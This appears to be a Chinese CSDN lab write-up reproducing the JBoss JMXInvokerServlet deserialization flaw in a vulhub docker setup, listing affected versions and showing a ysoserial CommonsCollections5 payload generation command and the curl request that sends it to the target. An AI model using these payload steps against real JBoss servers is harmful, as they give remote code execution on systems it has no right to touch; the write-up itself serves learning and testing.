漏洞原理:
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
影响版本:
- JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
- JBoss AS (Wildly) 6 and earlier
- JBoss A-MQ 6.2.0
- JBoss Fuse 6.2.0
- JBoss SOA Platform (SOA-P) 5.3.1
- JBoss Data Grid (JDG) 6.5.0
- JBoss BRMS (BRMS) 6.1.0
- JBoss BPMS (BPMS) 6.1.0
- JBoss Data Virtualization (JDV) 6.1.0
- JBoss Fuse Service Works (FSW) 6.0.0
- JBoss Enterprise Web Server (EWS) 2.1,3
环境准备:
/vulhub/jboss/CVE-2017-12149
命令:docker compose up -d
靶机IP:10.168.10.129
攻击机:10.168.10.128
首次执行时会有1~3分钟时间初始化,初始化完成后访问http://your-ip:8080/
即可看到JBoss默认页面。
漏洞利用:
访问 /invoker/JMXInvokerServlet 会出现下载文件的弹窗
说明接口开放,此接口存在反序列化漏洞
利用ysoserial,来生成payload,
下载链接:https://github.com/frohoff/ysoserial/releases
如果用kali生成payload报错可能是因为内置java版本过高,我是用wiindows下生成的(jdk8)
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" >1.ser
生成1.ser可以拖进到ubuntu(攻击机)
发起攻击(同时用wireshark抓包):
curl http://10.168.10.129:8080/invoker/JMXInvokerServlet --data-binary @1.ser
攻击成功:
分析流量
响应头状态码为200,响应体存在关键字:ClassCastException
参考链接:
os:怎么现在CSDN的编辑做的跟shit一样,好难编辑啊